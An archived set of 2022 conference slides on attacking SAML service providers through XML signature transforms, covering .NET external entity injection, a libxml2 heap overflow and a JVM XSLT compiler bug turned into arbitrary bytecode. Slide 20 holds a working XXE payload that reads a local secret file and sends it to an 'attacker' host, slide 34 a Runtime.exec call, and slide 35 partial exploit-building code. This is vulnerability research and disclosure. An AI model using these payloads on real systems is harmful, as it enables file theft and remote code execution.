---
type: Slides
title: Hacking the Cloud With SAML
description: A SAML service provider must run attacker-supplied XMLDsig transforms before it knows the signature can be trusted, putting XML canonicalisation, XSLT and their parsers on the pre-authentication attack surface. The talk turns that into .NET external entity injection, a libxml2 heap overflow and a constant-pool truncation bug in the JVM XSLT compiler that yields arbitrary bytecode.
resource: "https://2022.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf"
tags: [slides, webseclist-reference, hexacon-2022, saml, xxe, rce, sso, java, dotnet, cve, attack-chain, owasp-a03-2021, owasp-a07-2021]
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  at: "2026-09-09T23:03:16+00:00"
status: stable
stale_after: 2027-09-09
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    resource: "https://2022.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf"
    title: Hacking the Cloud With SAML
    author: Felix Wilhelm
    last_modified: 2022
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original_url: "https://2022.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf"
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---

# Hacking the Cloud With SAML

**Hacking the Cloud With SAML** - Felix Wilhelm, Hexacon 2022.

- Published: 2022
- Original: <https://2022.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf>
- Preserved from: https://2022.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf (manual-import) on 2026-09-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

# Hacking the Cloud With SAML

## Slide 1

Felix Wilhelm, Google Project Zero
Hexacon 2022

## Slide 2: About Me

- Security Researcher at Google Project Zero
- Previously: Product Security for Google Cloud, security researcher at ERNW
- Main focus: Virtualization and Cloud Security
- Author of weggli

## Slide 3: This talk

- SAML as a large and very interesting attack surface in Cloud environments.
- Especially when targeting multi-tenant SaaS applications
- Not a talk about authentication bypasses (e.g signature wrapping)
- We are looking for implementation flaws that lead to OS-level access

## Slide 4: SAML - Security Assertion Markup Language

```mermaid
flowchart LR
  idp["Identity Provider (IdP)"]
  user["User"]
  sp["Service Provider (SP)"]
  user -->|"1. Initial request"| sp
```

## Slide 5: SAML - Security Assertion Markup Language

```mermaid
flowchart LR
  idp["Identity Provider (IdP)"]
  user["User"]
  sp["Service Provider (SP)"]
  user -->|"1. Initial request"| sp
  sp -->|"2. Redirect to IdP with SAML Request"| user
  user -->|"3. Forward SAML Request"| idp
```

## Slide 6: SAML - Security Assertion Markup Language

```mermaid
flowchart LR
  idp["Identity Provider (IdP)"]
  user["User"]
  sp["Service Provider (SP)"]
  user -->|"1. Initial request"| sp
  sp -->|"2. Redirect to IdP with SAML Request"| user
  user -->|"3. Forward SAML Request"| idp
  idp <-->|"4. Authenticate the user"| user
```

## Slide 7: SAML - Security Assertion Markup Language

```mermaid
flowchart LR
  idp["Identity Provider (IdP)"]
  user["User"]
  sp["Service Provider (SP)"]
  user -->|"1. Initial request"| sp
  sp -->|"2. Redirect to IdP with SAML Request"| user
  user -->|"3. Forward SAML Request"| idp
  idp <-->|"4. Authenticate the user"| user
  idp -->|"5. Redirect to SP with SAML Response"| user
  user -->|"6. Forward SAML Response"| sp
```

## Slide 8: SAML - Security Assertion Markup Language

```mermaid
flowchart LR
  idp["Identity Provider (IdP)"]
  user["User"]
  sp["Service Provider (SP)"]
  user -->|"1. Initial request"| sp
  sp -->|"2. Redirect to IdP with SAML Request"| user
  user -->|"3. Forward SAML Request"| idp
  idp <-->|"4. Authenticate the user"| user
  idp -->|"5. Redirect to SP with SAML Response"| user
  user -->|"6. Forward SAML Response"| sp
  user <-->|"7. Authenticated session"| sp
```

## Slide 9: SAML in the Enterprise

```mermaid
flowchart LR
  c["Identity Provider (IdP)"]
  n1["Service Provider (SP)"] <--> c
  n2["Service Provider (SP)"] <--> c
  n3["Service Provider (SP)"] <--> c
  n4["Service Provider (SP)"] <--> c
```

## Slide 10: SAML in the Cloud

```mermaid
flowchart LR
  c["Service Provider (SP)"]
  n1["Identity Provider (IdP)"] <--> c
  n2["Identity Provider (IdP)"] <--> c
  n3["Identity Provider (IdP)"] <--> c
  n4["Identity Provider (IdP)"] <--> c
```

## Slide 11: SAML Response

```xml
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="foobar"
Version="2.0" IssueInstant="2022-10-11T23:54:48Z" Destination="http://sp.example.com/saml/acs">
 <Issuer>http://idp.example.com/SSO</Issuer>
 <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
 <Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="barfoo" Version="2.0" IssueInstant="2022-10-11T23:54:48Z">
  <Issuer>http://idp.example.com/metadata.php</Issuer>
  <Subject> ...</Subject>
  <Conditions NotBefore="2022-10-11T23:54:48Z" NotOnOrAfter="2022-11-11T23:54:48Z">
   <AudienceRestriction><Audience>http://sp.example.com/saml/metadata</Audience></AudienceRestriction>
  </Conditions>
  <AttributeStatement> <Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
    <AttributeValue xsi:type="xs:string">user@example.com</AttributeValue></Attribute>
  </AttributeStatement>
 </Assertion>
</samlp:Response>
```

![Original slide 11 listing with source color annotations](../../figures/2022/hacking-cloud-saml/slide-11-annotated-listing.png)

## Slide 12: SAML ❤ XML Signatures

- Most SAML flows use the browser to forward requests/responses between IdP
    and SP ⇒ Messages need to be integrity protected
- SAML uses XML Signatures (XMLDsig) for this.
  - Requests are (optionally) signed by a SP private key
  - Responses are (partially) signed by an IdP private key
- XML Signature verification is part of the unauthenticated attack surface of both
    the SP and the IdP*

* Several popular IdP’s don’t actually verify request signatures.

## Slide 13: XML Signatures (XMLDsig)

```xml
<Response>
<Signature>
  <SignedInfo>...</SignedInfo>
  <SignatureValue>...</SignatureValue>
  <KeyInfo>...</KeyInfo>
</Signature>
<Response
```

- Good example for a security
    standard invented in the early
    2000’s
- High complexity, large attack
    surface, configurable
- Very error-prone

## Slide 14: KeyInfo + Signature Value

```xml
<Response>
<Signature>
  <SignedInfo>...</SignedInfo>
  <SignatureValue>...</SignatureValue>
  <KeyInfo>...</KeyInfo>

</Signature>

<Response
```

- KeyInfo - Specifies the signer key
  - Can be a raw key, X509
        certificate, a simple identifier
        or a reference to the location
        of one of these.
  - SP needs to verify that this is

        an IdP key they trust.
- SignatureValue - Signature of the

    canonicalized SignedInfo element

## Slide 15: SignedInfo

```xml
<SignedInfo>
  <CanonicalizationMethod Algorithm="..."/>
  <SignatureMethod Algorithm="..." />
  <Reference URI="#signed-data">
    ..

  </Reference>
</SignedInfo>
```

- The only directly signed element.
- Describes the Canonicalization
    and Signature algorithm used to
    calculate SignatureValue from the
    last slide
- Indirectly protects data via

    References

## Slide 16: References

```xml
<Reference URI="#id">
  <Transforms>
     <Transform Algorithm="..."/>
     <Transform Algorithm="...”/>
  </Transforms>
  <DigestMethod Algorithm="...#sha1"/>
  <DigestValue>...</DigestValue>
</Reference>
```

- Identify referenced data via URI
  - Ideally this is the SAML

          response or assertion
- Pipe the data through a series of
    Transforms
  - Canonicalization
  - Remove enveloped Signature
  - Base64
  - XPath Filtering
  - XSLT
- Calculate the digest and compare
    it with DigestValue

## Slide 17: XMLDsig Transforms as attack surface

- Two independent steps: Signature validation and Reference validation
  - A.1) Is SignedInfo correctly signed.
    - A.2) by a trusted key?
  - B) Is the referenced data valid?
- In theory, order is irrelevant.
- In practice has a large impact on the attack surface
  - (B) -> (A.1) -> (A.2) or (A.1) -> (B) -> (A.2) allows an unauthenticated attacker to
         specify their own transforms.
- Multi-tenant SP’s can always be attacked with a malicious IdP
- SP -> IDP attacks are possible as well (if the IdP validates signatures)

## Slide 18: .NET CVE-2022-34716: External Entity Injection during XML signature verification

```csharp
//src/libraries/System.Security.Cryptography.Xml/src/System/Security/Cryptography/Xml/Utils.cs

XmlReaderSettings settings = new XmlReaderSettings();
settings.XmlResolver = xmlResolver;

settings.DtdProcessing = DtdProcessing.Parse;
[..]
XmlReader reader = XmlReader.Create(stringReader,
settings, baseUri);
doc.Load(reader);
```

- Output of each Transform needs to get
    reparsed.
- Internally used XML reader config
    enables processing of DTDs and entity
    expansion.
- External entities are resolved by a

    misnamed XmlSecureResolver
- Full exfiltration of local files / internal
    URLs is possible

## Slide 19: .NET CVE-2022-34716: External Entity Injection during XML signature verification

```xml
<Response>PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgJSB4eGUgU1lTVEVNCiJodHRwOi8vbG9jYWxob3N0OjgyMzQvdGVzdC5kdG
QiPiAleHhlO10+Cg==
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <SignedInfo>
            <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
            <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
            <Reference URI="">
                 <Transforms>
                     <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                     <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#base64" />
                     <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                 </Transforms>
                 <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                 <DigestValue>....</DigestValue>
            </Reference>
        </SignedInfo>
        <SignatureValue>....<SignatureValue>
        <KeyInfo>....</KeyInfo>
    </Signature>
</Response>
```

## Slide 20: .NET CVE-2022-34716: External Entity Injection during XML signature verification

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"http://attacker:8234/test.dtd">
%xxe;]>
```

```text
√ http % cat test.dtd
<!ENTITY % file SYSTEM "file:///tmp/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM
'http://attacker:8234/test?x=%file;'>">
%eval;
%exfiltrate;
√ http % cat /tmp/secret
{
 key: "my-secret-api-key"
}
√ http % python3 -mhttp.server 8234
Serving HTTP on :: port 8234 (http://[::]:8234/) ...
::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] "GET
/test.dtd HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] code 404,
message File not found
::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] "GET
/test?x=%7B%0A%20key:%20%22my-secret-api-
key%22%0A%7D HTTP/1.1" 404 -
```

## Slide 21: XSLT

```xml
<Transform
Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">

 <xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  version="1.0">
 <xsl:output encoding="UTF-8" indent="no" method="xml" />
 <xsl:template match="/input">

    <output>
      <xsl:for-each select="data">
       <data>
        <xsl:value-of select="substring(.,1,1)" />
       </data>

      </xsl:for-each>
    </output>
 </xsl:template>
 </xsl:stylesheet>
</Transform>
```

- Extensible Stylesheet Language

    Transformations
- XML-based programming language for
    transforming documents
- Example script on the left turns

```xml
<input><data>abc</data><data>def</data></input>
```

into

```xml
<output><data>a</data><data>d</data></output>
```

- Not something you want to have as part

    of your pre-auth attack surface.

## Slide 22: XML Security Library (xmlsec)

```mermaid
flowchart TD
  req["GET /?SAMLResponse=..."] --> py["python3-saml"]
  py --> xmlsec["xmlsec"]
  xmlsec --> libxslt["libxslt"]
  libxslt --> libxml2["libxml2"]
```

- Popular C implementation of the xmldsig
    standard.
- Relies on libxml2 / libxslt to implement
    transforms
- Large and memory-unsafe attack surface
- Allows remote triggering of quite obscure
    bugs

## Slide 23: libxml2 CVE-2022-29824: heap-buffer-overflow in xmlBufAdd

```text
int xmlBufAdd(xmlBufPtr buf,
const xmlChar *str, int len) {
    unsigned int needSize;

   needSize = buf->use + len + 2;
   if (needSize > buf->size){
       if (!xmlBufResize(buf, needSize)){
           xmlBufMemoryError(..);
           return XML_ERR_NO_MEMORY;
       }
   }

memmove(&buf->content[buf->use], str,
len*sizeof(xmlChar));
}
```

- Standard integer overflow when

      operating on buffers close to 2^32
      bytes.
- Would normally require very large
      XML input to trigger
- Easy trigger via XSLT an dynamic

      string generation

## Slide 24: CVE-2022-34169: Integer Truncation in XSLTC

- XSLTC - The XSLT compiler. Originally part of
                             the Apache Xalan project.
- A forked version is part of OpenJDK and it’s
                             the default runtime for XSLT in all major Java
                             versions.
- JIT compiler from XSLT to JVM Bytecode
- Reachable via XMLDsig in the default
                             configuration until JDK 17.

## Slide 25: The Bug

```text
ClassFile {
    u4               magic;

    u2               minor_version;
    u2               major_version;
    u2               constant_pool_count;

    cp_info          cp[constant_pool_count-1];
    [..]
}

public void dump(final DataOutputStream file ) throws
IOException {
file.writeShort(constant_pool.length);

for (int i = 1; i < constant_pool.length; i++) {
     if (constant_pool[i] != null) {
         constant_pool[i].dump(file);
     }
   }
}
```

- All constants in a JVM class get

    stored in a per-class table called the
    constant pool.
- During compilation, XSLTC adds
    every new constant such as strings,
    integers or floats to the constant

    pool.
- Problem: JVM class file format only

    supports 2^16-1 constants in a

    single class. But XSLTC does not
    enforce this limit.

⇒ Large pool size will get truncated
when the class file is serialized

## Slide 26: Constant Pool Overflow

```text
// https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html
ClassFile {
     u4                  magic;
     u2                  minor_version;

     u2                  major_version;
     u2                  constant_pool_count;

     cp_info             constant_pool[constant_pool_count-1];
     u2                  access_flags;

     u2                  this_class;
     u2                  super_class;
     u2                  interfaces_count;
     u2                  interfaces[interfaces_count];
     u2                  fields_count;
     field_info          fields[fields_count];
     u2                  methods_count;
     method_info         methods[methods_count];
     u2                  attributes_count;
     attribute_info attributes[attributes_count];
}
```

- Parts of the attacker-controlled

    constant pool will now be

    interpreted as the class fields

    following the constant pool
- Goal is to create a valid JVM class

    file with arbitrary bytecode under

    our control

## Slide 27: Constant Pool Entries

```text
CONSTANT_Integer_info {
    u1 tag;
    u4 bytes;
}
CONSTANT_Double_info {
    u1 tag;
    u4 high_bytes;
    u4 low_bytes;

}

CONSTANT_Utf8_info {
    u1 tag;

    u2 length;
    u1 bytes[length];
}

CONSTANT_String_info {

    u1 tag;
    u2 string_index;
}
```

- Single byte tag followed by variable sized

    object
- JVM uses more than 12 constant types,

    but we can not generate all of them.
- Strings, whose payload is stored in

    Utf8_info are mostly useless.
- Doubles as core corruption primitive
  - 0x06 tag byte
  - 0xYY 0xYY 0xYY 0xYY 0xYY 0xYY
         0xYY 0xYY controlled content

## Slide 28: Fixing the Class Header

```text
// https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html
ClassFile {
     u4                  magic;
     u2                  minor_version;
     u2                  major_version;
     u2                  constant_pool_count;
     cp_info             constant_pool[constant_pool_count-1];
    u2               access_flags;
    u2               this_class;
    u2               super_class;
    u2             interfaces_count;
    u2             interfaces[interfaces_count];
    u2             fields_count;
    field_info     fields[fields_count];
    u2             methods_count;
    method_info    methods[methods_count];
    u2             attributes_count;
    attribute_info attributes[attributes_count];
}
```

## Slide 29: Fixing the Class Header

```text
u2          constant_pool_count
[... constant pool .. ]
u2          access_flags;
u2          this_class;
u2          super_class;
u2          interfaces_count;
u2          interfaces[interfaces_count];
u2          fields_count;
field_info fields[fields_count];
u2          methods_count;
```

## Slide 30: Fixing the Class Header

```text
 u2          constant_pool_count == 0x703
 [... constant pool .. ]
 u2          access_flags;
 u2          this_class;
 u2          super_class;
 u2          interfaces_count;
 u2          interfaces[interfaces_count];
 u2          fields_count;
 field_info fields[fields_count];
 u2          methods_count;

CONST_STRING         CONST_DOUBLE
0x08 0x07 0x02      0x06 0xXX 0xXX 0x00 0x00 0x00 0x00 0xZZ 0xZZ
access_flags   this_class super_class   ints_count   fields_count methods_count
```

![Original slide 30 listing with source color annotations](../../figures/2022/hacking-cloud-saml/slide-30-annotated-listing.png)

## Slide 31: Defining Methods

```text
ClassFile {
    [...]
    u2            methods_count;
    method_info   methods[methods_count];
    [...]
}

method_info {
    u2             access_flags;
    u2             name_index;
    u2             descriptor_index;
    u2             attributes_count;
    attribute_info
attributes[attributes_count];
}

attribute_info {

    u2 attribute_name_index;

    u4 attribute_length;
    u1
```

```text
Code_attribute {
    u2 attribute_name_index;
    u4 attribute_length;
    u2 max_stack;
    u2 max_locals;

    u4 code_length;
    u1 code[code_length];

    u2 exception_table_length;
    {   u2 start_pc;
        u2 end_pc;
        u2 handler_pc;
        u2 catch_type;
    } exception_table[exception_table_length];
    u2 attributes_count;
    attribute_info

attributes[attributes_count];

}
```

## Slide 32: Bytecode

```text
CONST_DOUBLE: 0x06 0x01 0xXX 0xXX 0xYY 0xYY 0x00 0x01 0xZZ
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0x00 0x01 0xCC 0xCC 0xDD 0xDD 0x00 0x03
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0xCC 0xDD 0xZZ 0xZZ 0xZZ 0xZZ 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
```

```text
First Method Header
  access_flags 0x0601
  name_index 0xXXXX
  desc_index 0xYYYY
  attr_count 0x0001

  Attribute [0]

  name_index 0xZZ06
  length 0x00000005
  data   “\x00\x00\x00\x00\x06”
```

![Original slide 32 listing with source color annotations](../../figures/2022/hacking-cloud-saml/slide-32-annotated-listing.png)

## Slide 33: Bytecode

```text
CONST_DOUBLE: 0x06 0x01 0xXX 0xXX 0xYY 0xYY 0x00 0x01 0xZZ
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0x00 0x01 0xCC 0xCC 0xDD 0xDD 0x00 0x03
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0xCC 0xDD 0xZZ 0xZZ 0xZZ 0xZZ 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
```

```text
Second Method Header
access_flags 0x0001
name_index 0xCCCC -> <init>
desc_index 0xDDDD -> ()V
attr_count 0x0003

Attribute [0]

name_index 0x0600

length 0x00000004

data   “\x00\x00\x00\x06

Attribute [1]
name_index 0xCCDD -> Code
length 0xZZZZZZZZ
data PAYLOAD

Attribute [2] ...
```

![Original slide 33 listing with source color annotations](../../figures/2022/hacking-cloud-saml/slide-33-annotated-listing.png)

## Slide 34: Final Touches

```xml
<xsl:value-of
select="rt:exec(rt:getRuntime(),'...')"
xmlns:rt="java.lang.Runtime"/>
```

- Constant Pool Entries to arbitrary
    classes and methods can be
    added via Xalan’s Java extension
    feature
  - The feature is disabled but
         functionality will still be compiled

         in
- Constructor Type-Check
- Use dynamically sized attribute
    entry to skip the rest of XSLTC’s
    output.

## Slide 35: The End

```python
ret+= w(0x0006000000000002)
ret+= w(0x0100490044000103)
ret+= w(0x0000000500000101)
ret+= w(0x00010043001E0003) # Method Indexes and attributes count
ret+= w(0x0000000004AABBCC)
ret+= w(0x00520000008E00FF) # Code Attribute Index, length and max_stack
ret+= w(0x0000000082000000) # LSB of max_locals, code_length, code
ret+= w(0x00b801dc00000000) # invokestatic  #476      // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
ret+= w(0x0057130080000000) # ldc_w # 180
ret+= w(0x0057b601f9000000) # pop; invokevirtual #505
ret+= w(0x0001bfa700000000)
ret+= w(0x0000000000444449)
ret+= w(0x000000000044444A)
ret+= w(0x000000000044444B)
ret+= w(0x000000000044444C)
ret+= w(0x000000000044444D)
ret+= w(0x000000000044444E)
ret+= w(0x000000000044444F)
ret+= w(0x0000000000444450)
ret+= w(0x0000000000444451)
ret+= w(0x0000000000444452)
ret+= w(0x0000000000490000)
ret+= w(0x0B00000000444454)
```

![Original exploit construction screenshot](../../figures/2022/hacking-cloud-saml/slide-35-exploit.png)

You can find the final exploit on our issue tracker:

      https://bugs.chromium.org/p/project-zero/issues/detail?id=2290

## Slide 36: Conclusion

- SAML and XMLDsig offer a large and complex attack surface to external
    attackers
- Multi-Tenant SaaS applications change the threat model
- Even memory safe languages can hide weird machines

## Slide 37: Thank you.

  @_fel1x        fwilhelm@google.com

 Shoutout to Matthias Kaiser and thanat0s
